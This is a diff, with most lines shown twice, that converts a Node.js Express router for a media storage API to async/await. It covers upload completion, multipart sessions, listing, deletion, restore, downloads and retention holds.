if (!loc || !fs.existsSync(loc.key)) return problem(res, 409, 'media.object.no_content', 'PUT the content first');
if (!loc || !fs.existsSync(loc.key)) return problem(res, 409, 'media.object.no_content', 'PUT the content first');
const md = model.parseJson(obj.metadata, {});
const md = model.parseJson(obj.metadata, {});
const expected = String(expectedHash || md.expected_sha256 || '').toLowerCase();
const expected = String(expectedHash || md.expected_sha256 || '').toLowerCase();
@@ -402,24 +410,24 @@ function completeUpload(req, res, obj, { expectedHash = null } = {}) {
@@ -402,24 +410,24 @@ function completeUpload(req, res, obj, { expectedHash = null } = {}) {
return problem(res, 422, 'media.invariant.public_object_too_large', `Public playback objects are limited to ${config.objects.publicMaxMb} MB`);
return problem(res, 422, 'media.invariant.public_object_too_large', `Public playback objects are limited to ${config.objects.publicMaxMb} MB`);
}
}
// Reconciled against the bytes actually stored: the object's real size, everything else as it is now.
// Reconciled against the bytes actually stored: the object's real size, everything else as it is now.
- if (!quotaCheck(req, res, obj.namespace, { bytes: Number(obj.size_bytes) || 0, objects: namespaces.reservation(obj.id) ? 0 : 1, excludeId: obj.id })) return;
+ if (!await quotaCheck(req, res, obj.namespace, { bytes: Number(obj.size_bytes) || 0, objects: await namespaces.reservation(obj.id) ? 0 : 1, excludeId: obj.id })) return;
const typeWhy = ctypes.kindProblem(obj.kind, obj.mime_type) || ctypes.contentProblem(obj.kind, obj.mime_type, ctypes.readHead(loc.key));
const typeWhy = ctypes.kindProblem(obj.kind, obj.mime_type) || ctypes.contentProblem(obj.kind, obj.mime_type, ctypes.readHead(loc.key));
if (typeWhy) return problem(res, 415, 'media.object.content_mismatch', typeWhy);
if (typeWhy) return problem(res, 415, 'media.object.content_mismatch', typeWhy);
- const { data: body } = announce(req.appId, 'media.object.uploaded', {
- change: () => {
- model.updateObject(obj.id, { lifecycle_status: 'ready' });
- namespaces.settle(obj.id); // the ready object counts from now on
- invariant.record(model.getObject(obj.id));
+ const { data: body } = await announce(req.appId, 'media.object.uploaded', {
+ change: async () => {
+ await model.updateObject(obj.id, { lifecycle_status: 'ready' });
+ await namespaces.settle(obj.id); // the ready object counts from now on
+ await invariant.record(await model.getObject(obj.id));
},
},
- payload: () => model.objectPublic(model.getObject(obj.id)),
+ payload: async () => await model.objectPublic(await model.getObject(obj.id)),
});
});
- namespaces.reconcileChain(req.appRow, obj.namespace);
+ await namespaces.reconcileChain(req.appRow, obj.namespace);
return res.json(body);
return res.json(body);
}
}
/** The object named in the URL, writable by this caller, native and still uploading (else answered). */
/** The object named in the URL, writable by this caller, native and still uploading (else answered). */
-function loadUploading(req, res) {
- const obj = load(req, res, 'write');
+async function loadUploading(req, res) {
+ const obj = await load(req, res, 'write');
if (!obj) return null;
if (!obj) return null;
if (!canWrite(req, obj)) { problem(res, 403, 'media.object.forbidden', 'Not your object'); return null; }
if (!canWrite(req, obj)) { problem(res, 403, 'media.object.forbidden', 'Not your object'); return null; }
if (obj.legacy_ref) { problem(res, 409, 'media.object.legacy_managed', 'This object is written through the v1 API'); return null; }
if (obj.legacy_ref) { problem(res, 409, 'media.object.legacy_managed', 'This object is written through the v1 API'); return null; }
@@ -428,14 +436,14 @@ function loadUploading(req, res) {
@@ -428,14 +436,14 @@ function loadUploading(req, res) {
}
}
// Complete re-reads the stored bytes (type sniff, hash); twice the init rate leaves room for retries.
// Complete re-reads the stored bytes (type sniff, hash); twice the init rate leaves room for retries.
-router.post('/:id/complete', contentAuth, tenantCors, limits('media.object.complete', { minute: 60, hour: 1200 }), (req, res) => {
+router.post('/:id/complete', contentAuth, tenantCors, limits('media.object.complete', { minute: 60, hour: 1200 }), async (req, res) => {
try {
try {
- const obj = load(req, res, 'write');
+ const obj = await load(req, res, 'write');
if (!obj) return;
if (!obj) return;
if (!canWrite(req, obj)) return problem(res, 403, 'media.object.forbidden', 'Not your object');
if (!canWrite(req, obj)) return problem(res, 403, 'media.object.forbidden', 'Not your object');
- if (obj.lifecycle_status === 'ready' && !obj.legacy_ref) return res.json(model.objectPublic(obj));
+ if (obj.lifecycle_status === 'ready' && !obj.legacy_ref) return res.json(await model.objectPublic(obj));
if (obj.legacy_ref || obj.lifecycle_status !== 'uploading') return problem(res, 409, 'media.object.not_uploading', `Object is ${obj.lifecycle_status}`);
if (obj.legacy_ref || obj.lifecycle_status !== 'uploading') return problem(res, 409, 'media.object.not_uploading', `Object is ${obj.lifecycle_status}`);
- completeUpload(req, res, obj, { expectedHash: req.body && req.body.content_hash });
+ await completeUpload(req, res, obj, { expectedHash: req.body && req.body.content_hash });
} catch (err) {
} catch (err) {
console.error('[Objects] complete error:', err.message);
console.error('[Objects] complete error:', err.message);
problem(res, 500, 'media.object.complete_failed', 'Failed to complete upload');
problem(res, 500, 'media.object.complete_failed', 'Failed to complete upload');
@@ -444,15 +452,15 @@ router.post('/:id/complete', contentAuth, tenantCors, limits('media.object.compl
@@ -444,15 +452,15 @@ router.post('/:id/complete', contentAuth, tenantCors, limits('media.object.compl
// ── Presigned single-PUT URL ─────────────────────────────────
// ── Presigned single-PUT URL ─────────────────────────────────
-router.post('/:id/upload-url', upload, limits('media.object.upload_url', UPLOAD), (req, res) => {
- const obj = loadUploading(req, res);
+router.post('/:id/upload-url', upload, limits('media.object.upload_url', UPLOAD), async (req, res) => {
+ const obj = await loadUploading(req, res);
if (!obj) return;
if (!obj) return;
const ttl = req.body && req.body.ttl != null ? Number(req.body.ttl) : (req.query.ttl != null ? Number(req.query.ttl) : undefined);
const ttl = req.body && req.body.ttl != null ? Number(req.body.ttl) : (req.query.ttl != null ? Number(req.query.ttl) : undefined);
if (ttl !== undefined && !(ttl >= 60 && ttl <= 86400)) return problem(res, 400, 'media.object.invalid', 'ttl must be 60-86400 seconds');
if (ttl !== undefined && !(ttl >= 60 && ttl <= 86400)) return problem(res, 400, 'media.object.invalid', 'ttl must be 60-86400 seconds');
if (Number(obj.size_bytes) > config.objects.maxUploadMb * MB) return problem(res, 413, 'media.object.too_large', 'This object is uploaded in parts: POST /multipart');
if (Number(obj.size_bytes) > config.objects.maxUploadMb * MB) return problem(res, 413, 'media.object.too_large', 'This object is uploaded in parts: POST /multipart');
// A fresh URL is a fresh attempt: the upload holds its declared size again (after an abort released it).
// A fresh URL is a fresh attempt: the upload holds its declared size again (after an abort released it).
- const stored = Number((db.get("SELECT size_bytes FROM media_locations WHERE object_id = ? AND provider = 'local' AND state = 'present'", [obj.id]) || {}).size_bytes) || 0;
- if (!reserveAgain(req, res, obj, Math.max(Number(obj.size_bytes) || 0, stored))) return;
+ const stored = Number((await db.get("SELECT size_bytes FROM media_locations WHERE object_id = ? AND provider = 'local' AND state = 'present'", [obj.id]) || {}).size_bytes) || 0;
+ if (!await reserveAgain(req, res, obj, Math.max(Number(obj.size_bytes) || 0, stored))) return;
res.json(presignedPut(req, obj, ttl));
res.json(presignedPut(req, obj, ttl));
});
});
@@ -462,18 +470,18 @@ const mpRead = multipartAuth('read');
@@ -462,18 +470,18 @@ const mpRead = multipartAuth('read');
const mpWrite = multipartAuth('write');
const mpWrite = multipartAuth('write');
/** The session named in the URL, belonging to the object, still open (else answered). */
/** The session named in the URL, belonging to the object, still open (else answered). */
-function loadSession(req, res, obj, { open = true } = {}) {
- const session = multipart.getSession(String(req.params.uploadId || ''));
+async function loadSession(req, res, obj, { open = true } = {}) {
+ const session = await multipart.getSession(String(req.params.uploadId || ''));
if (!session || session.object_id !== obj.id) { problem(res, 404, 'media.upload.not_found', 'No such upload for this object'); return null; }
if (!session || session.object_id !== obj.id) { problem(res, 404, 'media.upload.not_found', 'No such upload for this object'); return null; }
- if (open && session.status === 'active' && multipart.isExpired(session)) multipart.abort(session.id, 'expired'); // releases its reservation
- const now = multipart.getSession(session.id);
+ if (open && session.status === 'active' && multipart.isExpired(session)) await multipart.abort(session.id, 'expired'); // releases its reservation
+ const now = await multipart.getSession(session.id);
if (open && now.status !== 'active') { problem(res, 409, 'media.upload.not_active', `The upload is ${now.status}`); return null; }
if (open && now.status !== 'active') { problem(res, 409, 'media.upload.not_active', `The upload is ${now.status}`); return null; }
return now;
return now;
}
}
-router.post('/:id/multipart', upload, limits('media.object.multipart', UPLOAD), (req, res) => {
+router.post('/:id/multipart', upload, limits('media.object.multipart', UPLOAD), async (req, res) => {
try {
try {
- const obj = loadUploading(req, res);
+ const obj = await loadUploading(req, res);
if (!obj) return;
if (!obj) return;
const b = req.body || {};
const b = req.body || {};
let current = obj;
let current = obj;
@@ -485,30 +493,30 @@ router.post('/:id/multipart', upload, limits('media.object.multipart', UPLOAD),
@@ -485,30 +493,30 @@ router.post('/:id/multipart', upload, limits('media.object.multipart', UPLOAD),
if (invariant.wouldViolate({ kind: obj.kind, visibility: obj.visibility, size_bytes: size })) {
if (invariant.wouldViolate({ kind: obj.kind, visibility: obj.visibility, size_bytes: size })) {
return problem(res, 422, 'media.invariant.public_object_too_large', `Public playback objects are limited to ${config.objects.publicMaxMb} MB`);
return problem(res, 422, 'media.invariant.public_object_too_large', `Public playback objects are limited to ${config.objects.publicMaxMb} MB`);
}
}
- if (!reserveAgain(req, res, obj, size)) return;
- model.updateObject(obj.id, { size_bytes: size });
- current = model.getObject(obj.id);
+ if (!await reserveAgain(req, res, obj, size)) return;
+ await model.updateObject(obj.id, { size_bytes: size });
+ current = await model.getObject(obj.id);
} else if (b.size_bytes != null && Number(b.size_bytes) !== Number(obj.size_bytes)) {
} else if (b.size_bytes != null && Number(b.size_bytes) !== Number(obj.size_bytes)) {
return problem(res, 400, 'media.object.size_mismatch', `The object declares ${obj.size_bytes} bytes`);
return problem(res, 400, 'media.object.size_mismatch', `The object declares ${obj.size_bytes} bytes`);
- } else if (!reserveAgain(req, res, obj, Number(obj.size_bytes))) {
+ } else if (!await reserveAgain(req, res, obj, Number(obj.size_bytes))) {
return; // a session after an abort holds the declared size again
return; // a session after an abort holds the declared size again
}
}
- const session = multipart.initiate(current, { partSize: b.part_size });
+ const session = await multipart.initiate(current, { partSize: b.part_size });
if (session.error) return problem(res, session.status, session.code, session.error);
if (session.error) return problem(res, session.status, session.code, session.error);
- res.status(201).json(multipartPublic(req, current, session, { parts: false }));
+ res.status(201).json(await multipartPublic(req, current, session, { parts: false }));
} catch (err) {
} catch (err) {
console.error('[Objects] multipart init error:', err.message);
console.error('[Objects] multipart init error:', err.message);
problem(res, 500, 'media.upload.init_failed', 'Failed to start the upload');
problem(res, 500, 'media.upload.init_failed', 'Failed to start the upload');
}
}
});
});
-router.get('/:id/multipart/:uploadId', mpRead, limits('media.object.multipart_read'), (req, res) => {
- const obj = load(req, res, 'read');
+router.get('/:id/multipart/:uploadId', mpRead, limits('media.object.multipart_read'), async (req, res) => {
+ const obj = await load(req, res, 'read');
if (!obj) return;
if (!obj) return;
- const session = loadSession(req, res, obj, { open: false });
+ const session = await loadSession(req, res, obj, { open: false });
if (!session) return;
if (!session) return;
- if (session.status === 'active' && multipart.isExpired(session)) multipart.abort(session.id, 'expired');
- res.json(multipart.sessionPublic(multipart.getSession(session.id)));
+ if (session.status === 'active' && multipart.isExpired(session)) await multipart.abort(session.id, 'expired');
+ res.json(await multipart.sessionPublic(await multipart.getSession(session.id)));
});
});
// Assembling concatenates and hashes every part of an object up to MEDIA_MULTIPART_MAX_MB.
// Assembling concatenates and hashes every part of an object up to MEDIA_MULTIPART_MAX_MB.
@@ -516,52 +524,52 @@ router.post('/:id/multipart/:uploadId/complete', mpWrite, tenantCors, limits('me
@@ -516,52 +524,52 @@ router.post('/:id/multipart/:uploadId/complete', mpWrite, tenantCors, limits('me
let session = null;
let session = null;
try {
try {
// A repeat of a complete that already succeeded (its answer was lost on the way): the object as it is.
// A repeat of a complete that already succeeded (its answer was lost on the way): the object as it is.
- const already = model.resolveObject(String(req.params.id || ''), req.appId);
- const prior = already && multipart.getSession(String(req.params.uploadId || ''));
+ const already = await model.resolveObject(String(req.params.id || ''), req.appId);
+ const prior = already && await multipart.getSession(String(req.params.uploadId || ''));
if (prior && prior.object_id === already.id && prior.status === 'completed' && already.lifecycle_status === 'ready' && canSee(req, already)) {
if (prior && prior.object_id === already.id && prior.status === 'completed' && already.lifecycle_status === 'ready' && canSee(req, already)) {
- return res.json(model.objectPublic(already));
+ return res.json(await model.objectPublic(already));
}
}
- const obj = loadUploading(req, res);
+ const obj = await loadUploading(req, res);
if (!obj) return;
if (!obj) return;
- session = loadSession(req, res, obj);
+ session = await loadSession(req, res, obj);
if (!session) return;
if (!session) return;
- if (!multipart.beginComplete(session)) return problem(res, 409, 'media.upload.not_active', 'The upload is being completed already');
+ if (!await multipart.beginComplete(session)) return problem(res, 409, 'media.upload.not_active', 'The upload is being completed already');
const b = req.body || {};
const b = req.body || {};
const dest = model.objectFilePath(obj);
const dest = model.objectFilePath(obj);
const got = await multipart.assemble(session, dest, Array.isArray(b.parts) ? b.parts : null);
const got = await multipart.assemble(session, dest, Array.isArray(b.parts) ? b.parts : null);
if (got.error) {
if (got.error) {
- multipart.reopen(session);
+ await multipart.reopen(session);
return problem(res, got.status, got.code, got.error, got.missing ? { missing: got.missing } : undefined);
return problem(res, got.status, got.code, got.error, got.missing ? { missing: got.missing } : undefined);
}
}
- db.getDb().transaction(() => {
- model.updateObject(obj.id, {
+ await db.getDb().tx(async () => {
+ await model.updateObject(obj.id, {
size_bytes: got.bytes, content_hash: got.sha256, mime_type: obj.mime_type || 'application/octet-stream',
size_bytes: got.bytes, content_hash: got.sha256, mime_type: obj.mime_type || 'application/octet-stream',
canonical_provider: 'local', canonical_key: dest,
canonical_provider: 'local', canonical_key: dest,
});
});
- model.upsertLocation(obj.id, { provider: 'local', key: dest, state: 'present', size_bytes: got.bytes, checksum: got.sha256, verified: true });
- })();
- multipart.finish(session);
- completeUpload(req, res, model.getObject(obj.id), { expectedHash: b.content_hash });
+ await model.upsertLocation(obj.id, { provider: 'local', key: dest, state: 'present', size_bytes: got.bytes, checksum: got.sha256, verified: true });
+ });
+ await multipart.finish(session);
+ await completeUpload(req, res, await model.getObject(obj.id), { expectedHash: b.content_hash });
} catch (err) {
} catch (err) {
- if (session) multipart.reopen(session);
+ if (session) await multipart.reopen(session);
console.error('[Objects] multipart complete error:', err.message);
console.error('[Objects] multipart complete error:', err.message);
if (!res.headersSent) problem(res, 500, 'media.object.complete_failed', 'Failed to complete upload');
if (!res.headersSent) problem(res, 500, 'media.object.complete_failed', 'Failed to complete upload');
}
}
});
});
// An abort deletes the parts and frees the reservation: a write, cheaper than an upload.
// An abort deletes the parts and frees the reservation: a write, cheaper than an upload.
-router.delete('/:id/multipart/:uploadId', mpWrite, limits('media.object.multipart_abort', { minute: 60, hour: 1200 }), (req, res) => {
- const obj = load(req, res, 'write');
+router.delete('/:id/multipart/:uploadId', mpWrite, limits('media.object.multipart_abort', { minute: 60, hour: 1200 }), async (req, res) => {
+ const obj = await load(req, res, 'write');
if (!obj) return;
if (!obj) return;
if (!canWrite(req, obj)) return problem(res, 403, 'media.object.forbidden', 'Not your object');
if (!canWrite(req, obj)) return problem(res, 403, 'media.object.forbidden', 'Not your object');
- const session = loadSession(req, res, obj, { open: false });
+ const session = await loadSession(req, res, obj, { open: false });
if (!session) return;
if (!session) return;
if (session.status === 'completed') return problem(res, 409, 'media.upload.not_active', 'The upload is completed');
if (session.status === 'completed') return problem(res, 409, 'media.upload.not_active', 'The upload is completed');
- multipart.abort(session.id); // parts deleted; the quota it held is released
- res.json(multipart.sessionPublic(multipart.getSession(session.id), { parts: false }));
+ await multipart.abort(session.id); // parts deleted; the quota it held is released
+ res.json(await multipart.sessionPublic(await multipart.getSession(session.id), { parts: false }));
});
});
-router.get('/', list, limits('media.object.list'), (req, res) => {
+router.get('/', list, limits('media.object.list'), async (req, res) => {
try {
try {
const q = req.query;
const q = req.query;
const limit = Math.min(Math.max(parseInt(q.limit || '50', 10) || 50, 1), 200);
const limit = Math.min(Math.max(parseInt(q.limit || '50', 10) || 50, 1), 200);
@@ -570,20 +578,21 @@ router.get('/', list, limits('media.object.list'), (req, res) => {
@@ -570,20 +578,21 @@ router.get('/', list, limits('media.object.list'), (req, res) => {
if (q.namespace != null && q.namespace !== '') {
if (q.namespace != null && q.namespace !== '') {
const named = namespaces.resolveName(req.appRow, q.namespace);
const named = namespaces.resolveName(req.appRow, q.namespace);
if (named.error) return problem(res, 400, 'media.namespace.invalid', named.error);
if (named.error) return problem(res, 400, 'media.namespace.invalid', named.error);
- const g = namespaceGrant(req, 'list', named.namespace);
+ const g = await namespaceGrant(req, 'list', named.namespace);
if (!g.allowed) return problem(res, 403, g.code, g.reason);
if (!g.allowed) return problem(res, 403, g.code, g.reason);
conds.push('(namespace = ? OR substr(namespace, 1, ?) = ?)');
conds.push('(namespace = ? OR substr(namespace, 1, ?) = ?)');
params.push(named.namespace, named.namespace.length + 1, `${named.namespace}.`);
params.push(named.namespace, named.namespace.length + 1, `${named.namespace}.`);
}
}
// A Network token lists only the namespaces it may list here.
// A Network token lists only the namespaces it may list here.
if (req.grant) {
if (req.grant) {
- const rows = namespaces.listForTenant(req.appId);
- const listable = rows.filter(r => namespaceGrant(req, 'list', r.namespace).allowed).map(r => r.namespace);
+ const rows = await namespaces.listForTenant(req.appId);
+ const listable = [];
+ for (const r of rows) if ((await namespaceGrant(req, 'list', r.namespace)).allowed) listable.push(r.namespace);
if (!listable.length) {
if (!listable.length) {
// Nothing listable: refused when the verb itself is (a strict namespace), else an empty page.
// Nothing listable: refused when the verb itself is (a strict namespace), else an empty page.
- const g = namespaceGrant(req, 'list', db.rootNamespace(req.appRow));
+ const g = await namespaceGrant(req, 'list', db.rootNamespace(req.appRow));
if (!g.allowed && g.code === 'capability.denied') return problem(res, 403, g.code, g.reason);
if (!g.allowed && g.code === 'capability.denied') return problem(res, 403, g.code, g.reason);
- conds.push('0');
+ conds.push('FALSE');
} else if (listable.length < rows.length) {
} else if (listable.length < rows.length) {
conds.push(`namespace IN (${listable.map(() => '?').join(', ')})`);
conds.push(`namespace IN (${listable.map(() => '?').join(', ')})`);
params.push(...listable);
params.push(...listable);
@@ -600,32 +609,32 @@ router.get('/', list, limits('media.object.list'), (req, res) => {
@@ -600,32 +609,32 @@ router.get('/', list, limits('media.object.list'), (req, res) => {
if (q.owner) { conds.push('owner_subject = ?'); params.push(String(q.owner).replace(/^user:/, '')); }
if (q.owner) { conds.push('owner_subject = ?'); params.push(String(q.owner).replace(/^user:/, '')); }
if (q.user_id != null) { conds.push('owner_user_id = ?'); params.push(Number(q.user_id)); }
if (q.user_id != null) { conds.push('owner_user_id = ?'); params.push(Number(q.user_id)); }
if (req.authType === 'user') { conds.push("(visibility != 'private' OR owner_user_id = ?)"); params.push(req.userId); }
if (req.authType === 'user') { conds.push("(visibility != 'private' OR owner_user_id = ?)"); params.push(req.userId); }
- const rows = db.all(`SELECT * FROM media_objects WHERE ${conds.join(' AND ')} ORDER BY id DESC LIMIT ?`, [...params, limit + 1]);
+ const rows = await db.all(`SELECT * FROM media_objects WHERE ${conds.join(' AND ')} ORDER BY id DESC LIMIT ?`, [...params, limit + 1]);
const page = rows.slice(0, limit);
const page = rows.slice(0, limit);
- res.json({ objects: page.map(o => model.objectPublic(o, { locations: false })), next_cursor: rows.length > limit ? page[page.length - 1].id : null, limit });
+ res.json({ objects: (await Promise.all(page.map(async o => await model.objectPublic(o, { locations: false })))), next_cursor: rows.length > limit ? page[page.length - 1].id : null, limit });
} catch (err) {
} catch (err) {
console.error('[Objects] list error:', err.message);
console.error('[Objects] list error:', err.message);
problem(res, 500, 'media.object.list_failed', 'Failed to list objects');
problem(res, 500, 'media.object.list_failed', 'Failed to list objects');
}
}
});
});
-router.get('/:id', read, limits('media.object.read'), (req, res) => {
- const obj = load(req, res, 'read');
- if (obj) res.json(model.objectPublic(obj));
+router.get('/:id', read, limits('media.object.read'), async (req, res) => {
+ const obj = await load(req, res, 'read');
+ if (obj) res.json(await model.objectPublic(obj));
});
});
// Deletes and restores change lifecycle, quota usage and events: writes, tighter than reads.
// Deletes and restores change lifecycle, quota usage and events: writes, tighter than reads.
-router.delete('/:id', remove, limits('media.object.delete', { minute: 60, hour: 1200 }), (req, res) => {
+router.delete('/:id', remove, limits('media.object.delete', { minute: 60, hour: 1200 }), async (req, res) => {
try {
try {
- const obj = load(req, res, 'delete');
+ const obj = await load(req, res, 'delete');
if (!obj) return;
if (!obj) return;
if (!canWrite(req, obj)) return problem(res, 403, 'media.object.forbidden', 'Not your object');
if (!canWrite(req, obj)) return problem(res, 403, 'media.object.forbidden', 'Not your object');
if (obj.legacy_ref) return problem(res, 409, 'media.object.legacy_managed', 'Delete this object through its v1 route (vods, clips, files, pastes)');
if (obj.legacy_ref) return problem(res, 409, 'media.object.legacy_managed', 'Delete this object through its v1 route (vods, clips, files, pastes)');
- if (model.isHeld(obj.id)) return problem(res, 409, 'media.object.held', 'Object is under a retention hold');
- if (obj.lifecycle_status === 'deleted') return res.json(model.objectPublic(obj));
- const gone = model.softDelete(obj, { by: req.principal ? req.principal.sub : `app:${req.appId}` });
- namespaces.reconcileChain(req.appRow, obj.namespace);
- res.json(model.objectPublic(gone));
+ if (await model.isHeld(obj.id)) return problem(res, 409, 'media.object.held', 'Object is under a retention hold');
+ if (obj.lifecycle_status === 'deleted') return res.json(await model.objectPublic(obj));
+ const gone = await model.softDelete(obj, { by: req.principal ? req.principal.sub : `app:${req.appId}` });
+ await namespaces.reconcileChain(req.appRow, obj.namespace);
+ res.json(await model.objectPublic(gone));
} catch (err) {
} catch (err) {
if (err.code === 'media.object.held' || /retention hold/.test(err.message)) return problem(res, 409, 'media.object.held', 'Object is under a retention hold');
if (err.code === 'media.object.held' || /retention hold/.test(err.message)) return problem(res, 409, 'media.object.held', 'Object is under a retention hold');
console.error('[Objects] delete error:', err.message);
console.error('[Objects] delete error:', err.message);
@@ -633,29 +642,31 @@ router.delete('/:id', remove, limits('media.object.delete', { minute: 60, hour:
@@ -633,29 +642,31 @@ router.delete('/:id', remove, limits('media.object.delete', { minute: 60, hour:
}
}
});
});
-router.post('/:id/restore', remove, limits('media.object.restore', { minute: 60, hour: 1200 }), (req, res) => {
- const obj = load(req, res, 'delete');
+router.post('/:id/restore', remove, limits('media.object.restore', { minute: 60, hour: 1200 }), async (req, res) => {
+ const obj = await load(req, res, 'delete');
if (!obj) return;
if (!obj) return;
if (!canWrite(req, obj)) return problem(res, 403, 'media.object.forbidden', 'Not your object');
if (!canWrite(req, obj)) return problem(res, 403, 'media.object.forbidden', 'Not your object');
if (obj.lifecycle_status !== 'deleted' || obj.legacy_ref) return problem(res, 409, 'media.object.not_deleted', 'Only soft-deleted native objects can be restored');
if (obj.lifecycle_status !== 'deleted' || obj.legacy_ref) return problem(res, 409, 'media.object.not_deleted', 'Only soft-deleted native objects can be restored');
// A restored object counts again: it needs the room (in a developer project it never stopped counting).
// A restored object counts again: it needs the room (in a developer project it never stopped counting).
const md = model.parseJson(obj.metadata, {});
const md = model.parseJson(obj.metadata, {});
- if (md.pre_delete_status !== 'uploading' && !md.purged_at && !quotaCheck(req, res, obj.namespace, { bytes: Number(obj.size_bytes) || 0, objects: 1, excludeId: obj.id })) return;
- const back = model.restore(obj);
+ const back = md.pre_delete_status !== 'uploading' && !md.purged_at
+ ? await withQuota(req, res, obj.namespace, { bytes: Number(obj.size_bytes) || 0, objects: 1, excludeId: obj.id }, async () => await model.restore(obj))
+ : await model.restore(obj);
+ if (back === undefined) return;
if (!back) return problem(res, 410, 'media.object.purged', 'The retention period has passed and the bytes are gone');
if (!back) return problem(res, 410, 'media.object.purged', 'The retention period has passed and the bytes are gone');
- namespaces.reconcileChain(req.appRow, obj.namespace);
- res.json(model.objectPublic(back));
+ await namespaces.reconcileChain(req.appRow, obj.namespace);
+ res.json(await model.objectPublic(back));
});
});
-router.get('/:id/download', read, limits('media.object.download'), (req, res) => {
- const obj = load(req, res, 'read');
+router.get('/:id/download', read, limits('media.object.download'), async (req, res) => {
+ const obj = await load(req, res, 'read');
if (!obj) return;
if (!obj) return;
if (obj.lifecycle_status === 'deleted') return problem(res, 410, 'media.object.deleted', 'Object was deleted');
if (obj.lifecycle_status === 'deleted') return problem(res, 410, 'media.object.deleted', 'Object was deleted');
if (obj.lifecycle_status !== 'ready') return problem(res, 409, 'media.object.not_ready', `Object is ${obj.lifecycle_status}`);
if (obj.lifecycle_status !== 'ready') return problem(res, 409, 'media.object.not_ready', `Object is ${obj.lifecycle_status}`);
const json = req.query.format === 'json';
const json = req.query.format === 'json';
res.set('Cache-Control', 'private, no-store');
res.set('Cache-Control', 'private, no-store');
// Developer-project sandbox objects are never public, whatever their visibility: always signed.
// Developer-project sandbox objects are never public, whatever their visibility: always signed.
- if (obj.visibility !== 'private' && !db.isSandboxTenant(obj.app_id)) {
+ if (obj.visibility !== 'private' && !await db.isSandboxTenant(obj.app_id)) {
const url = model.legacyPublicUrl(obj) || `${config.publicUrl}/o/${obj.id}`;
const url = model.legacyPublicUrl(obj) || `${config.publicUrl}/o/${obj.id}`;
return json ? res.json({ url, expires_at: null, public: true }) : res.redirect(302, url);
return json ? res.json({ url, expires_at: null, public: true }) : res.redirect(302, url);
}
}
@@ -666,15 +677,15 @@ router.get('/:id/download', read, limits('media.object.download'), (req, res) =>
@@ -666,15 +677,15 @@ router.get('/:id/download', read, limits('media.object.download'), (req, res) =>
// ── Retention holds ──────────────────────────────────────────
// ── Retention holds ──────────────────────────────────────────
-router.get('/:id/holds', read, limits('media.object.holds'), (req, res) => {
- const obj = load(req, res, 'read');
+router.get('/:id/holds', read, limits('media.object.holds'), async (req, res) => {
+ const obj = await load(req, res, 'read');
if (!obj) return;
if (!obj) return;
res.json({
res.json({
object_id: obj.id,
object_id: obj.id,
- holds: model.listHolds(obj.id, { includeReleased: ['1', 'true'].includes(String(req.query.all || '')) }).map(model.holdPublic),
+ holds: (await model.listHolds(obj.id, { includeReleased: ['1', 'true'].includes(String(req.query.all || '')) })).map(model.holdPublic),
// A clip is held while its source VOD is (released holds are the VOD's to list).
// A clip is held while its source VOD is (released holds are the VOD's to list).
- inherited_holds: model.inheritedHolds(obj.id).map(model.holdPublic),
- held: model.isHeld(obj.id),
+ inherited_holds: (await model.inheritedHolds(obj.id)).map(model.holdPublic),
+ held: await model.isHeld(obj.id),
});
});
});
});
@@ -685,27 +696,27 @@ function holdsByApp(req, res) {
@@ -685,27 +696,27 @@ function holdsByApp(req, res) {
return false;
return false;
}
}
-router.post('/:id/holds', appOnly, (req, res) => {
+router.post('/:id/holds', appOnly, async (req, res) => {
if (!holdsByApp(req, res)) return;
if (!holdsByApp(req, res)) return;
- const obj = load(req, res);
+ const obj = await load(req, res);
if (!obj) return;
if (!obj) return;
const b = req.body || {};
const b = req.body || {};
if (!model.HOLD_KINDS.includes(b.kind)) return problem(res, 400, 'media.hold.invalid', `kind must be one of ${model.HOLD_KINDS.join(', ')}`);
if (!model.HOLD_KINDS.includes(b.kind)) return problem(res, 400, 'media.hold.invalid', `kind must be one of ${model.HOLD_KINDS.join(', ')}`);
const named = b.placed_by || b.created_by;
const named = b.placed_by || b.created_by;
const by = named ? String(named).slice(0, 200) : `app:${req.appId}${req.userId != null ? `:user:${req.userId}` : ''}`;
const by = named ? String(named).slice(0, 200) : `app:${req.appId}${req.userId != null ? `:user:${req.userId}` : ''}`;
- const hold = model.placeHold({ object_id: obj.id, kind: b.kind, reason: b.reason || '', created_by: by, note: b.note });
+ const hold = await model.placeHold({ object_id: obj.id, kind: b.kind, reason: b.reason || '', created_by: by, note: b.note });
console.log(`[Objects] Retention hold ${hold.id} placed on ${obj.id} (${obj.legacy_ref || obj.kind}) by ${by} (${req.appId}): ${hold.kind}`);
console.log(`[Objects] Retention hold ${hold.id} placed on ${obj.id} (${obj.legacy_ref || obj.kind}) by ${by} (${req.appId}): ${hold.kind}`);
res.status(201).json(model.holdPublic(hold));
res.status(201).json(model.holdPublic(hold));
});
});
-router.delete('/:id/holds/:holdId', appOnly, (req, res) => {
+router.delete('/:id/holds/:holdId', appOnly, async (req, res) => {
if (!holdsByApp(req, res)) return;
if (!holdsByApp(req, res)) return;
- const obj = load(req, res);
+ const obj = await load(req, res);
if (!obj) return;
if (!obj) return;
- const hold = db.get('SELECT * FROM media_holds WHERE id = ? AND object_id = ?', [parseInt(req.params.holdId, 10), obj.id]);
+ const hold = await db.get('SELECT * FROM media_holds WHERE id = ? AND object_id = ?', [parseInt(req.params.holdId, 10), obj.id]);
if (!hold) return problem(res, 404, 'media.hold.not_found', 'No such hold on this object');
if (!hold) return problem(res, 404, 'media.hold.not_found', 'No such hold on this object');
const by = (req.body && req.body.released_by) ? String(req.body.released_by).slice(0, 200) : `app:${req.appId}`;
const by = (req.body && req.body.released_by) ? String(req.body.released_by).slice(0, 200) : `app:${req.appId}`;
- const out = model.releaseHold(hold.id, by);
+ const out = await model.releaseHold(hold.id, by);
if (!hold.released_at) console.log(`[Objects] Retention hold ${hold.id} on ${obj.id} released by ${by} (${req.appId})`);
if (!hold.released_at) console.log(`[Objects] Retention hold ${hold.id} on ${obj.id} released by ${by} (${req.appId})`);
res.json(model.holdPublic(out));
res.json(model.holdPublic(out));
});
});
@@ -719,13 +730,13 @@ publicRouter.get('/:id', async (req, res) => {
@@ -719,13 +730,13 @@ publicRouter.get('/:id', async (req, res) => {
// A restore drill (MEDIA_DRILL) serves no stored bytes, local or by a B2/R2 redirect.
// A restore drill (MEDIA_DRILL) serves no stored bytes, local or by a B2/R2 redirect.
if (require('../drill').refuseBytes(res)) return;
if (require('../drill').refuseBytes(res)) return;
try {
try {
- const obj = model.getObject(String(req.params.id || ''));
+ const obj = await model.getObject(String(req.params.id || ''));
if (!obj) return res.status(404).json({ error: 'Not found' });
if (!obj) return res.status(404).json({ error: 'Not found' });
